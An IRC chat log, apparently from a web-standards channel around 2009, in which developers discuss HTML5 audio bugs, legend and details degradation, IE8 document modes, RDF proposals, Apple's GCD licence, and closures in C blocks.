[04:55:02.0000] <zcorpan_>
no, <param>s are different

[04:55:03.0000] <zcorpan_>
and depend on the plugin

[04:56:00.0000] <Ox032F>
ok, I'll do another test

[04:59:00.0000] <karlcow>
http://blog.isotoma.com/2009/09/textual-log-analysis-using-python/

[05:00:00.0000] <Ox032F>
ah, do you know what the stop-command is for the audio-tag?

[05:00:01.0000] <karlcow>
> text statistics produced by this channel, who has what reading age, and how much they’ve talked in comparison to other people.

[05:01:00.0000] <zcorpan_>
Ox032F: pause(); currentTime = startTime;

[05:01:01.0000] <hsivonen>
/me wonders if Opera did user testing with real Web content to determine if this helps users: http://www.iheni.com/londesc-support-opera-1010/

[05:08:00.0000] <Hixie>
what's up with mozilla bugzilla and moznet

[05:09:00.0000] <annevk2>
hsivonen, I don't think so, but you can probably ask her in a comment

[05:10:00.0000] <annevk2>
I'm not quite sure why we implemented it, but I wasn't really involved in the process either

[05:11:00.0000] <hsivonen>
I'm a bit surprised that an implementation is announced after the WAI consensus said it's OK to obsolete longdesc.

[05:16:00.0000] <Ox032F>
could it be that setting currentTime starts play?

[05:17:00.0000] <Hixie>
shouldn't do

[05:17:01.0000] <Hixie>
might though

[05:17:02.0000] <Hixie>
if there's a bug

[05:18:00.0000] <Dashiva>
hsivonen: Maybe it's to let people see how much bogus there is?

[05:19:00.0000] <Ox032F>
*grml* can't access bugzilla.mozilla.org

[05:20:00.0000] <roc>
me neither

[05:21:00.0000] <hsivonen>
tinderboxen are up, though, so it's not a complete outage

[05:21:01.0000] <Hixie>
moznet and bugzilla seem to be down

[05:22:00.0000] <Hixie>
moznet as in the irc network

[05:23:00.0000] <hsivonen>
I've received email from bugzilla 30 minutes ago

[05:23:01.0000] <jgraham_>
/me grumbles at jQuery.ui for having dozens of broken tests in each part of the testsuite

[05:23:02.0000] <Ox032F>
seems like its a firefox bug, leaving out the currentTime=0; makes it much better, now theres only the problem of a sound not playing sometimes (randomly)

[05:24:00.0000] <Ox032F>
but I'll first upgrade to 3.5.3 from 3.5.2, just to be safe

[05:29:00.0000] <Hixie>
irc's back

[05:29:01.0000] <Hixie>
bugzilla isn't

[05:32:00.0000] <hsivonen>
DevMo is gone, too

[05:42:00.0000] <hsivonen>
I guess I'll have to start a new chunk of code without a bug number then

[05:43:00.0000] <roc>
Ox032F: currentTime doesn't start playing for me

[05:43:01.0000] <roc>
well, this is a latest-trunk build, but nothing much has changed in that are

[05:43:02.0000] <roc>
a

[05:43:03.0000] <Ox032F>
roc: which version do you have?

[05:43:04.0000] <Ox032F>
ok

[05:43:05.0000] <Ox032F>
I just upgraded to 3.5.3

[05:43:06.0000] <Ox032F>
lets see

[05:43:07.0000] <roc>
that won't change anything

[05:45:00.0000] <roc>
woohoo, I have now taught our media cache manager how to let multiple streams share the same underlying cache data

[05:48:00.0000] <Ox032F>
arg, thats really shitty, I now have controls enabled, so I can test manually

[05:48:01.0000] <Ox032F>
and what do I get? all these errors are firefox inherent and not javascript based

[05:48:02.0000] <Ox032F>
crap

[05:48:03.0000] <Ox032F>
maybe the media is just to short

[05:52:00.0000] <Ox032F>
or maybe its a problem with gecko-mediaplayer again

[05:52:01.0000] <Ox032F>
but on the other hand, I'm not the only one having this problem

[05:53:00.0000] <hsivonen>
/me wonders if anyone has experimented with decoding Vorbis or Theora in OpenCL

[05:53:01.0000] <Ox032F>
mmh, but firefox uses its own player for the audio-tag, doesn't it?

[05:59:00.0000] <jgraham_>
annevk2: It seems like your argument about <details> applies equally to any markup feature that adds new functionaility e.g. people could start using <input type="color"> but not get the format right so, once a browser implements it, they reject input from that browser

[05:59:01.0000] <zcorpan_>
indeed

[05:59:02.0000] <annevk2>
what's your point?

[06:00:00.0000] <jgraham_>
That it seems we don't consider that a strong enough argument to override graceful degradation in other circumstances

[06:00:01.0000] <annevk2>
I'm less worried about <input type=color> because that is actually being implemented in e.g. WebKit

[06:00:02.0000] <jgraham_>
iirc WebKit want to implement <details>

[06:01:00.0000] <jgraham_>
(in the short term)

[06:01:01.0000] <annevk2>
I thought Maciej's email said they were not in a hurry

[06:01:02.0000] <annevk2>
maybe I missed something

[06:01:03.0000] <jgraham_>
I could well be wrong

[06:02:00.0000] <annevk2>
but yes my argument applies to other cases too and I think there's a risk there too if authors move ahead of implementors

[06:06:00.0000] <zcorpan_>
maybe the validator should warn about features that aren't implemented in browsers yet (except sectioning elements)

[06:13:00.0000] <Philip`>
We don't want the purity of our new language features to be disrupted by having people actually use them

[06:13:01.0000] <Philip`>
The existence of users just makes everything unnecessarily complex

[06:13:02.0000] <hsivonen>
whoa: http://www.w3.org/mid/640dd5060909130402u24d0c2c0j2e5b66e7d39c7f86⊙mgc

[06:14:00.0000] <jgraham_>
All fear The Power of RDF

[06:19:00.0000] <annevk2>
jgraham_, I don't think <legend> breaks degrade gracefully

[06:20:00.0000] <annevk2>
though it's certainly not ideal

[06:20:01.0000] <jgraham_>
annevk2: Really? It seems like a poster child for how to break that principle to me...

[06:20:02.0000] <hsivonen>
I wonder if Mark Birbeck has noticed that ARIA got rid of the RDF-based extensibility mechanism

[06:21:00.0000] <jgraham_>
annevk2: (I am really curious to know why you think it doesn't break the principle)

[06:21:01.0000] <Lachy>
annevk2, the lack of graceful degradation is the whole problem with using legend

[06:21:02.0000] <Lachy>
s/lack of/poor/

[06:21:03.0000] <jgraham_>
(because to me it is like using <color> rather than <input type="color"> and saying "just don't use it until all browsers support it")

[06:22:00.0000] <jgraham_>
s/using/specifying/

[06:25:00.0000] <zcorpan_>
<div><figure><img><legend><div>foo</div></legend></figure></div> - figure>span, legend>span { background:yellow }

[06:25:01.0000] <zcorpan_>
works fine for me

[06:25:02.0000] <zcorpan_>
s/span/div/

[06:26:00.0000] <zcorpan_>
or just figure div {}

[06:28:00.0000] <Philip`>
(Is T.V Raman's argument for @role basically that since @class got abused, we should make an identical new attribute with a different name and then magically it won't be abused in exactly the same way?)

[06:29:00.0000] <jgraham_>
zcorpan_: Since <figure> can have a <div> child that is not in the <legend> that doesn't work in general

[06:29:01.0000] <Lachy>
zcorpan_, that only tests a very limited set of styles. <legend> creates an extra fieldset element in some browsers, and has some styles that simply cannot be altered in current browsers

[06:30:00.0000] <jgraham_>
(you could add an extra classname or something but then you get the problems Lachy mentioned)

[06:30:01.0000] <zcorpan_>
jgraham_: true, set a class

[06:30:02.0000] <zcorpan_>
Lachy: i don't get a fieldset for the above in firefox

[06:31:00.0000] <Lachy>
zcorpan_, turn off the HTML5 parser

[06:31:01.0000] <zcorpan_>
i have

[06:31:02.0000] <zcorpan_>
i get a fieldset if i remove the outer div

[06:31:03.0000] <jgraham_>
And you still have to deal with the fact that the DOM is confusing and unintuitively different from the markup

[06:32:00.0000] <jgraham_>
Which makes it more likely that the problem Anne mentioned will occur when browsesr are changed to unbreak <legend>

[06:33:00.0000] <jgraham_>
i.e. people will do legend div {something} and it won't do anything in old bropwsers but will in new ones

[06:33:01.0000] <virtuelv>
I'm reading http://hsivonen.iki.fi/doctype/ie8-mode.png

[06:33:02.0000] <virtuelv>
I'm incredibly confused

[06:33:03.0000] <jgraham_>
virtuelv: Yes

[06:33:04.0000] <jgraham_>
virtuelv: That is the good and natural reaction

[06:33:05.0000] <jgraham_>
virtuelv: It can be used as a Turing test

[06:34:00.0000] <virtuelv>
so, for a site considered to be in the intranet zone, it's impossible to trigger standards mode?

[06:34:01.0000] <zcorpan_>
no, you can use the x-ua-compatible override

[06:35:00.0000] <virtuelv>
if I was a web developer and had to target IE, this is the time I'd promptly quit my job and become a sheep farmer, or something

[06:38:00.0000] <virtuelv>
zcorpan_: there is one other way, depending on user preference

[06:39:00.0000] <zcorpan_>
virtuelv: yes, there's a user override too

[06:40:00.0000] <virtuelv>
+

[06:43:00.0000] <Lachy>
the benefit of that though, is that it gives us a really good argument against versioning in HTML

[06:44:00.0000] <Philip`>
virtuelv: It's easy, all you need to do is target IE7 and everything will work fine

[06:44:01.0000] <jgraham_>
(unless you want to use some fancy new IE80only features like native JSON support)

[06:44:02.0000] <Philip`>
(Well, sure, but you can just use Flash or Silverlight if you want a modern development environment)

[06:47:00.0000] <Lachy>
the flow chart seems incomplete. Some doctypes like <!DOCTYPE html> are supposed to trigger IE8 standards mode too, without the need for X-UA-Compatible

[06:49:00.0000] <Philip`>
Have you tested that?

[06:49:01.0000] <Philip`>
/me is suspicious of the use of "supposed to"

[06:50:00.0000] <hsivonen>
Lachy: I thought so, too, before I tested

[06:51:00.0000] <annevk2>
Lachy, that is covered by the chart

[06:51:01.0000] <annevk2>
or do you mean in intranets?

[06:51:02.0000] <Lachy>
no, I don't mean intranets

[06:52:00.0000] <Lachy>
I'm sure I read that IE changed their mind and had decided to allow (X)HTML Strict and HTML5 doctypes to trigger full standards mode by default

[06:52:01.0000] <hsivonen>
Lachy: did you see the "or absent" bit in the flow chart?

[06:52:02.0000] <Lachy>
yeah

[06:53:00.0000] <Lachy>
that leads down the path to IE7 standards mode

[06:53:01.0000] <annevk2>
no

[06:53:02.0000] <hsivonen>
Lachy: take absent, absent, No, No, No, No, No, No, No

[06:53:03.0000] <Lachy>
what?

[06:54:00.0000] <Lachy>
oh, I misunderstood the Display All Websites pref choice

[06:56:00.0000] <Philip`>
"No, No, No, No, No, No, No" sounds like a good response to the compatibility-mode graph

[06:57:00.0000] <Lachy>
hsivonen, it would help if that "Display All Web Sites... Pref Set?" choice said something less ambiguous like "Compatibility View Enabled?"

[06:58:00.0000] <hsivonen>
Lachy: that's more ambiguous

[06:58:01.0000] <hsivonen>
Lachy: many ways to enable it

[07:00:00.0000] <Lachy>
hsivonen, the point is I didn't have a clue what you meant by "Displya All Web Sites...", and with the Yes option leading to Intranet stuff, I assumed right answer should have been no

[07:00:01.0000] <Lachy>
and the user override button is labelled "Compatibility View", so say something that mentions that it's a user override for compat view would be good

[07:02:00.0000] <hsivonen>
Lachy: I'll try to fix those issues when I next revise the chart

[07:03:00.0000] <hsivonen>
Lachy: however, it sucks to make one of the diamonds larger to fit more text

[07:04:00.0000] <Lachy>
it would be less text to have "Comatibility View Override"

[07:05:00.0000] <hsivonen>
Lachy: the key is that I'm talking about the pref

[07:05:01.0000] <Lachy>
yeah, and the button for that pref is called Compatibility View.  How is that not clear?

[07:06:00.0000] <Lachy>
Is there some pref listed in the options dialog with a longer name like "Display All Web Sites..."?

[07:07:00.0000] <hsivonen>
Lachy: yes. that's the point of the chart

[07:08:00.0000] <hsivonen>
Lachy: the button comes further toward bottom right of the chain

[07:08:01.0000] <Lachy>
where? I can't find it

[07:10:00.0000] <hsivonen>
Lachy: third diamond from the right

[07:11:00.0000] <Lachy>
no, not that. Where's the pref in IE?

[07:11:01.0000] <hsivonen>
Lachy: in compat mode settings

[07:12:00.0000] <hsivonen>
Lachy: different from the usual pref panes

[07:12:01.0000] <Lachy>
ah

[07:13:00.0000] <Lachy>
surely the pref and button have the same effect as far as the flow chart is concerned

[07:14:00.0000] <hsivonen>
Lachy: nope

[07:14:01.0000] <hsivonen>
Lachy: the button toggles the per-domain pref entry

[07:14:02.0000] <hsivonen>
Lachy: the main pref overrides

[07:14:03.0000] <hsivonen>
Lachy: just like the chart says

[07:14:04.0000] <Lachy>
dammit. There has to be some way to make the diagram less confusing than it is

[07:15:00.0000] <hsivonen>
Lachy: I refuse to believe the mess is simpler unless you provide testing-based steps to reproduce showing that it is simpler

[07:18:00.0000] <Lachy>
if either the pref is set or the button is on, then it will lead to the quirky doctype check. If they're both off, then they have no effect on the rest. Moving "Compatibility Mode Button Pressed?" up to the No side of "Display All Web Sites... Pref Set?" will not have any effect on the algorithm whatsoever

[07:19:00.0000] <Philip`>
I suppose for <script implements> (see public-html) one would have to do <script implements="http://www.w3.org/1999/xhtml/attribute#implements http://www.w3.org/1999/xhtml/element#details"> to make sure the implementation implements implements too

[07:19:01.0000] <Lachy>
and treating them as the same thing will also have no effect on the end result

[07:20:00.0000] <hsivonen>
Lachy: the button needs to come after the "Framed by" diamond

[07:21:00.0000] <Lachy>
no it doesn't

[07:22:00.0000] <hsivonen>
Lachy: ok. true

[07:22:01.0000] <hsivonen>
Lachy: I don't really see a win in shuffling the diagram around

[07:23:00.0000] <hsivonen>
Lachy: the purpose isn't to make it easy for you determine which mode your stuff will render in

[07:23:01.0000] <hsivonen>
Lachy: the purpose is to provide evidence that I did my homework and therefore you should believe my recommendations instead of trying to play the mode game

[07:23:02.0000] <Philip`>
The route to "Quirky or No Doctype?" is (display-all || (display-intranet && intranet) || domain-on-list || framed-by-compat || compat-mode-button) and || is commutative so you can rearrange all those things in any way

[07:24:00.0000] <hsivonen>
Lachy: likewise, the doctype table is there to show I did my homework and you should follow my recommendations instead of trying to do something else based on the table

[07:25:00.0000] <hsivonen>
Philip`: I think this order is logical, although I see the point about commutativity

[07:25:01.0000] <karlushi>
[08:35]  <virtuelv> I'm reading http://hsivonen.iki.fi/doctype/ie8-mode.png

[07:25:02.0000] <karlushi>
that would be cool to do it for all browsers if it doesn't already exist

[07:26:00.0000] <hsivonen>
karlushi: there's http://hsivonen.iki.fi/doctype/ that has the same level of detail for other browsers

[07:27:00.0000] <hsivonen>
karlushi: the choice in other browsers isn't as crazy, so it doesn't need a chart

[07:28:00.0000] <hsivonen>
well, Gecko has interesting restrictions on how near the start of the stream the doctype needs to be

[07:28:01.0000] <hsivonen>
but the HTML5 parser fixes that

[07:30:00.0000] <karlushi>
hsivonen, except that it would give a side by side quick view

[07:30:01.0000] <annevk2>
non-IE: normal || IE: insane

[07:30:02.0000] <hsivonen>
karlushi: oh for visualizing the lesser complexity?

[07:30:03.0000] <karlushi>
hsivonen, yes

[07:30:04.0000] <hsivonen>
karlushi: I see

[07:31:00.0000] <Rik|work>
there's only doctype swithcing in other browsers ?

[07:31:01.0000] <hsivonen>
Rik|work: doctype and mime type

[07:31:02.0000] <hsivonen>
Rik|work: and Dashboardness

[07:32:00.0000] <hsivonen>
Rik|work: but the Dashboardness stuff isn't Web-exposed

[07:32:01.0000] <Rik|work>
mimetype ?

[07:32:02.0000] <annevk2>
Rik|work, text/xml triggers no quirks mode

[07:32:03.0000] <hsivonen>
Rik|work: XML mime types trigger the XML variant of the Standards Mode

[07:32:04.0000] <annevk2>
but maybe that's unfair since IE doesn't even have a non-text/html mode for this stuff

[07:33:00.0000] <Rik|work>
obvisouly, XML mime types triggers XML mode

[07:33:01.0000] <Rik|work>
but i didn't know about text/xml

[07:34:00.0000] <annevk2>
there's no XML mode really, they all use no quirks mode

[07:34:01.0000] <Lachy>
wow, the implements="" attribute idea on public-html doesn't seem very scalable

[07:35:00.0000] <Lachy>
nor sensible

[07:35:01.0000] <Philip`>
Lachy: It uses URIs, of course it's scalable

[07:36:00.0000] <Lachy>
no, I mean for authors. If you have to test for a lot of features, you'd have to write implements="http://.../feature1 http://.../feature2 ..."

[07:38:00.0000] <Philip`>
Then you could define a new feature at a new URI which lists all those features (e.g. define a "video-version-1" which includes a dozen individual video features) as RDF and then the browser can just use some OWL to deduce whether it implements the feature or not

[07:43:00.0000] <Philip`>
("The optional implements attribute indicates that the script provides an implementation of the feature or features identified via this attribute. The script SHOULD only be loaded and used if the user agent does not have an implementation of the specified feature." seems to be the extent to which it's defined, in http://www.w3.org/MarkUp/2008/ED-xml-events-20081223/)

[07:43:01.0000] <Philip`>
(and sadly it doesn't suggest my awesome RDF idea)

[07:44:00.0000] <hsivonen>
/me wonders how people fall for RDF boondoggles

[07:45:00.0000] <hsivonen>
they don't seem attractive to implementors 

[07:45:01.0000] <hsivonen>
they don't seem attractive to content authors either

[07:54:00.0000] <jgraham_>
hsivonen: Curiously neither authors nor implementors seem to be the ones interested in RDF boondoggles

[07:55:00.0000] <Lachy>
jgraham_, if not authors, what would you call the community of people that are claiming to use RDF?

[07:56:00.0000] <jgraham_>
Theoriaticians

[07:56:01.0000] <jgraham_>
er Theoreticians

[07:57:00.0000] <Philip`>
Call them 'theors' - much easier to type

[07:57:01.0000] <Philip`>
What aspects of RDF are you considering to be boondoggles?

[07:58:00.0000] <Philip`>
(All aspects?)

[08:00:00.0000] <jgraham_>
I was specifically thinking of the aspects where you use RDF to communicate information about unknown features to an implementation e.g. this implements thing or the original aria role thing

[08:01:00.0000] <Lachy>
I don't see where in either the latest XHTML 2 or XML Events drafts that the implements attribute appears, as Toby claimed

[08:02:00.0000] <annevk2>
Philip` just pointed it out

[08:02:01.0000] <Philip`>
There seems to be a huge disconnection between e.g. Google's real-world use of RDFa, where they buggily convert a subset into some kind of tree based on hard-coded names, and some of the discussions in the RDFa group about schemas and automatic reasoning and everything

[08:04:00.0000] <Philip`>
Lachy: http://www.w3.org/MarkUp/2008/ED-xml-events-20081223/

[08:04:01.0000] <karlushi>
I wonder if implementation stuff is related to http://www.w3.org/2007/uwa/wiki/Main_Page

[08:04:02.0000] <Philip`>
Lachy: and http://www.w3.org/MarkUp/2009/ED-xhtml2-20090407/mod-scripting.html

[08:05:00.0000] <hsivonen>
my guess is that Web ubiquity will be enabled by Fennec, various WebKit-based browsers and Opera Mini rather than DIAL and stuff

[08:16:00.0000] <annevk2>
https://bugzilla.mozilla.org/show_bug.cgi?id=507970 -- new web font formats...

[08:17:00.0000] <Philip`>
Sounds like DIAL is about letting you write content for lots of heterogeneous devices simultaneously, which sounds like it's either unscalable (if heterogeneity increases in the future, and you have to write and test for a zillion devices) or only a short-term problem (if heterogeneity decreases, and everyone has HTML5 browsers on iPhone clones)

[08:18:00.0000] <hsivonen>
Philip`: it's a transitient problem that is addressed by making mobile browsers suck less

[08:19:00.0000] <hsivonen>
Philip`: i.e. your "iPhone clones" case

[08:22:00.0000] <Philip`>
Hmm, the examples in the Primer make it look like just a server-side templating language

[08:23:00.0000] <Philip`>
/me isn't sure why that's something that needs standardisation

[08:24:00.0000] <Philip`>
(and the listed use cases in the Primer don't seem to be related to any kind of need for standardisation or interoperability)

[08:24:01.0000] <annevk2>
so what the company that implements it can claim it's W3C-approved

[08:26:00.0000] <hsivonen>
Philip`: well, if you are a mobile operator and you want to be able to buy compatible systems for publishing to bad UAs from multiple vendors, it makes sense to want standardization

[08:27:00.0000] <Lachy>
it seems odd that Apple would open source Grand Central Dispatch, yet do so with a licence that isn't GPL2 compatible, and thus incompaible with the most commonly used licence for linux distros.

[08:27:01.0000] <Lachy>
http://arstechnica.com/open-source/news/2009/09/apple-opens-gcd-challenges-impede-adoption-on-linux.ars

[08:27:02.0000] <Philip`>
hsivonen: Wouldn't you just want standardisation of an API to find device capabilities, and then feed it into an arbitrary non-standardised server-side templating system?

[08:28:00.0000] <hsivonen>
Philip`: if you are the party who owns a lot of templated content and you want to be able to purchase your next template engine from a different vendor

[08:28:01.0000] <hsivonen>
Philip`: ...you want to be able to buy compatible template engines from multiple vendors

[08:30:00.0000] <Philip`>
I suppose I don't understand why you'd want to buy a template engine from a different vendor, any more than you'd want to buy any other code library from a different vendor

[08:30:01.0000] <Philip`>
(and most code libraries don't have any kind of standardised API)

[08:33:00.0000] <gsnedders>
Lachy: But does libdispatch need to be integrated with anything that makes that a problem?

[08:33:01.0000] <Philip`>
Lachy: What should they do instead, that wouldn't impose unwanted restrictions (like the GPL does) and wouldn't lose desired restrictions (like Apache's patent stuff) and wouldn't cause license proliferation?

[08:35:00.0000] <Philip`>
If you have GPLv2-only code then (I believe) you can't link with GPLv3 libraries either, so you're already suffering and it's no worse with Apache-licensed libraries

[08:37:00.0000] <hsivonen>
/me mumbles about zfs and cddl

[08:37:01.0000] <Philip`>
gsnedders: I assume the idea is that arbitrary applications link with libdispatch so they can use GCD, and so it's a problem whenever those applications are Apache-incompatible

[08:39:00.0000] <gsnedders>
Philip`: Ah, true

[08:39:01.0000] <gsnedders>
Philip`: But doesn't that issue occur on OS X too?

[08:39:02.0000] <Lachy>
the compatibility problem probably lies with the GPL2, which has apparently been resovled in GPL3, but there's been a lot of resistance to adopting GPL3 for other reasons

[08:40:00.0000] <hsivonen>
it would certainly be amusing if Apple pushed GPLv2-or-later apps to become GPLv3-or-later

[08:40:01.0000] <Philip`>
/me wonders why you need a whole library for GCD anyway, Euclid's algorithm is only a dozen lines

[08:41:00.0000] <hsivonen>
hah

[08:41:01.0000] <gsnedders>
unless libdispatch falls under, "However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable."

[08:41:02.0000] <Lachy>
would have been nice to get a GPL 2.1 or something that resolved the uncontroversial licence compat issues, but which avoids the controversial Tivo-isation issues

[08:44:00.0000] <jgraham_>
Umm, isn't it rather possible that Apple don't want GCD on Linux?

[08:44:01.0000] <Philip`>
Lachy: But it would be unethical to publish a license that doesn't protect users from Tivo-isation

[08:46:00.0000] <Philip`>
/me kind of likes the idea of C being based on a standard, and not having random extensions like blocks added by a single vendor

[08:47:00.0000] <hsivonen>
adding extensions to C is indeed unholy

[08:48:00.0000] <gsnedders>
Philip`: I thought their implementations of blocks matched C++0x

[08:49:00.0000] <takkaria>
Philip`: apple are pushing for blocks for be included in the next version of C

[08:49:01.0000] <hsivonen>
but GCC already has non-standard extensions to C, right?

[08:49:02.0000] <takkaria>
yup

[08:49:03.0000] <hsivonen>
and Linux even depends on them, IIRC

[08:49:04.0000] <takkaria>
aplenty

[08:49:05.0000] <Philip`>
gsnedders: It seems to be completely different syntax to C++0x's lambdas

[08:50:00.0000] <gsnedders>
Confessions, part 0x10000: I bought The Sims 3.

[08:50:01.0000] <Philip`>
"^ int (void) { return 3; }" vs "[](int x, int y) { return x + y; }" etc (copying some random examples)

[08:51:00.0000] <jgraham_>
Yay for readable syntax

[08:52:00.0000] <Philip`>
/me presumes the blocks syntax conflicts with C++/CLI's syntax

[08:52:01.0000] <Philip`>
(which isn't necessarily a problem; it's just a natural collision of extensions)

[08:53:00.0000] <gsnedders>
We need namespaces.

[08:53:01.0000] <Philip`>
Namespaces for syntax?

[08:53:02.0000] <Philip`>
"blocks::^ int (void) { return 3; }"

[08:53:03.0000] <gsnedders>
Yes.

[08:53:04.0000] <gsnedders>
I mean, namespaces solve all problems.

[08:54:00.0000] <Philip`>
Apart from the "Yay for readable syntax" problem

[08:54:01.0000] <Philip`>
hsivonen: GCC has lots of extensions, but at least you can sure they'll be portable to every platform's GCC, which is as close to universality as you're likely to want :-)

[08:55:00.0000] <Philip`>
(unless you care about Windows, I suppose)

[08:56:00.0000] <Philip`>
takkaria: Do you know when they proposed it for standardisation?

[08:56:01.0000] <Philip`>
(Seems a bit late if they're doing it after shipping it)

[08:56:02.0000] <gsnedders>
/me notes Apple's fork of gcc has more extensions to C than just that

[08:58:00.0000] <takkaria>
Philip`: it's mentioned in another Ars article

[08:58:01.0000] <Philip`>
http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man1/gcc.1.html would be nice if it wasn't restricted to a single screen height in Opera so I can't scroll down to read the page

[08:58:02.0000] <takkaria>
C++0x closures are horrible ugly constructions, though, and Apple's aren't

[08:58:03.0000] <Philip`>
(unless I disable CSS)

[09:00:00.0000] <takkaria>
"It's Apple intention to submit blocks as an official extension to one or more of the C-based languages, though it's not yet clear which standards bodies are receptive to the proposal." [http://arstechnica.com/apple/reviews/2009/08/mac-os-x-10-6.ars/10]

[09:00:01.0000] <takkaria>
so maybe I was slightly off-mark

[09:01:00.0000] <Philip`>
(What I meant to say was: Maybe Opera has a bug on that page, but I'm too lazy to look into it)

[09:01:01.0000] <Philip`>
takkaria: Hmm, sounds a little bit woolly

[09:01:02.0000] <takkaria>
indeed

[09:01:03.0000] <takkaria>
though actually, two compilers have blocks: llvm and apple-gcc

[09:02:00.0000] <takkaria>
so they're already more portable than gccisms

[09:03:00.0000] <Philip`>
gsnedders: The documented differences seem to almost all be optimisations and warnings, not language changes

[09:04:00.0000] <Philip`>
takkaria: Two compilers have most gccisms (gcc and icc) :-p

[09:04:01.0000] <Philip`>
(icc at least had enough to compile the Linux kernel, some years ago)

[09:13:00.0000] <takkaria>
OK, you win

[09:15:00.0000] <Philip`>
Hooray

[09:15:01.0000] <Philip`>
Do I get a medal?

[09:18:00.0000] <takkaria>
winning doesn't entail anything here except for smugness, sadly

[09:18:01.0000] <takkaria>
and not even if that if you have restraint

[09:18:02.0000] <Philip`>
http://clang.llvm.org/docs/BlockLanguageSpec.txt - "A Block reference may be cast to a pointer of arbitrary type and vice versa." - I always forget how little C bothers with type safety

[09:19:00.0000] <Dashiva>
Type safety, more like type convenience

[09:19:01.0000] <Philip`>
(and then I get annoyed when C++ cares about type safety and complains about some third-party library casting a pointer-to-member-function to a pointer violates the strict aliasing rules or whatever)

[09:19:02.0000] <Philip`>
s/about/that/

[09:20:00.0000] <Philip`>
s/casting/is casting/

[09:20:01.0000] <Philip`>
Wait, that still doesn't make grammar

[09:20:02.0000] <Philip`>
/me gives up

[09:20:03.0000] <takkaria>
*** No rule to make target `grammar'.  Stop.

[09:22:00.0000] <Philip`>
Hmm, it sounds like blocks just do boring const copies of stack variables

[09:22:01.0000] <Philip`>
like what Java inner methods do

[09:23:00.0000] <Philip`>
and not like real closures at all

[09:23:01.0000] <Philip`>
(Actually I suppose that depends on what real closures are)

[09:24:00.0000] <Philip`>
(but anyway it seems you can't do the equivalent of "sub adder { my $n = 0; return sub { return ++$n } }" without doing explicit heap allocation)

[09:26:00.0000] <jgraham_>
You mean they can't modify varibles in the outer scope

[09:26:01.0000] <jgraham_>
?

[09:27:00.0000] <Philip`>
(...unless you mark the local variable with __block)

[09:27:01.0000] <Philip`>
jgraham_: Yes (except with __block)

[09:28:00.0000] <Philip`>
If you wanted to modify local variables in the outer scope, you'd really need garbage-collected heap-allocated stack frames

[09:29:00.0000] <Philip`>
which isn't going to happen in C, so you can't modify them and it just copies their values into a per-block bit of memory

[09:30:00.0000] <Philip`>
so that it doesn't matter when the stack frame gets popped

[09:31:00.0000] <Philip`>
(At least I think that's how it works; please tell me I'm being stupid if I am)

[09:32:00.0000] <takkaria>
that seems to be how they work

[09:32:01.0000] <takkaria>
seems about the closest you get to real closures in C, really

[09:33:00.0000] <Philip`>
Introducing type inference on return values seems weird, since nothing else in C does anything like that, as far as I'm aware

[09:35:00.0000] <Philip`>
and C is not known for syntactic sugar

[09:47:00.0000] <Steve^>
That's how I build be closures, at least

[09:48:00.0000] <Steve^>
partly because it is easier and partly because it is much easier to define the behaviour

[09:49:00.0000] <Steve^>
sub adder { $a = shift; return sub { return $a + shift; }};   sub add10 = adder(10);

[09:49:01.0000] <Steve^>
being the notable example

[09:49:02.0000] <Philip`>
/me eventually realises he should have done his earlier example in JS, like "function adder() { var n = 0; return function () { return ++n; } }"

[09:49:03.0000] <Philip`>
(because I guess more people here know JS than Perl)

[09:51:00.0000] <Steve^>
sub double { $m = shift; return sub { $m($m(shift)); }} is awesome too

[09:52:00.0000] <Philip`>
It'd be better if it wasn't a syntax error :-p

[09:52:01.0000] <Philip`>
$m->($m->(shift)) I think

[09:52:02.0000] <Steve^>
it will actually work in perl?

[09:52:03.0000] <Steve^>
I suppose it might

[09:53:00.0000] <Philip`>
Why wouldn't it?

[09:54:00.0000] <Steve^>
I didn't consider it. I wrote a compiler for a c-like language with closures and was just translating

[09:54:01.0000] <Philip`>
Ah

[09:54:02.0000] <Pure>
Can I make it so, my application has an offline and an online version of a page and only the offline version is cached?

[09:57:00.0000] <Philip`>
Hmm, the discussion in http://arstechnica.com/apple/reviews/2009/08/mac-os-x-10-6.ars/13 of how awesomely trivial GCD makes it to do a 30-second document analysis in a background thread seems to kind of entirely ignore the hard bits of concurrency, like making sure you don't crash when another thread modifies the document you're looking at

[09:57:01.0000] <Philip`>
Also, the syntax doesn't seem that much easier than OpenMP

[10:34:00.0000] <JonathanNeal>
Is the html5 outliner having some issues?

[10:35:00.0000] <JonathanNeal>
Say I outline nasa.gov, I get this @ http://gsnedders.html5.org/outliner/process.py?url=http%3A%2F%2Fwww.nasa.gov%2F - if you get the same result, it's an XML Syntax Error.

[10:35:01.0000] <JonathanNeal>
Does that mean nasa's got the problem, or the html5 outliner?

[10:37:00.0000] <miketaylr>
eek, JonathanNeal that ain't good

[10:39:00.0000] <annevk2>
/me wonders why Ubuntu still uses Firefox 3.0.x

[10:41:00.0000] <miketaylr>
JonathanNeal: did you try here? http://james.html5.org/outliner.html

[10:41:01.0000] <annevk2>
maybe it's because the xmlns:xsi at the top

[10:41:02.0000] <jgraham_>
JonathanNeal: That looks like a bug in html5lib

[10:43:00.0000] <annevk2>
why would html5lib emit an XML Syntax Error?

[10:43:01.0000] <jgraham_>
specifically we do some hack with lxml involving parsing a document using its built in parser to make it recognise the doctype and other useless crap. But I guess it breaks with strange input

[10:44:00.0000] <jgraham_>
(we could maybe use the html parser instead but there was some reason not to at the time. Possibly lxml 1.x compat.)

[10:45:00.0000] <jgraham_>
(which I no longer care about)

[10:47:00.0000] <JonathanNeal>
jgraham_, woops!

[10:47:01.0000] <JonathanNeal>
:D

[11:19:00.0000] <annevk2>
hsivonen, I meant to tell you that not just <keygen>, but also <isindex>, needs to be re-implemented in Gecko

[11:20:00.0000] <JonathanNeal>
What sites do you folks think are currently doing great work using html5?

[11:26:00.0000] <Philip`>
JonathanNeal: Clearly all sites using HTML5 are great

[11:29:00.0000] <annevk2>
I was going to say whatwg.org but it appears to be offline

[11:30:00.0000] <JonathanNeal>
annevk2, woops!

[11:32:00.0000] <JonathanNeal>
It's working for me though.

[11:32:01.0000] <JonathanNeal>
Just a wee bit slow.

[11:34:00.0000] <annevk2>
http://downforeveryoneorjustme.com/whatwg.org

[11:38:00.0000] <JonathanNeal>
annevk2, hmm, interesting.

[11:39:00.0000] <JonathanNeal>
http://downforeveryoneorjustme.com/downforeveryoneorjustme.whatwg.org -- hehehe

[11:39:01.0000] <JonathanNeal>
silly dfwojm

[11:39:02.0000] <JonathanNeal>
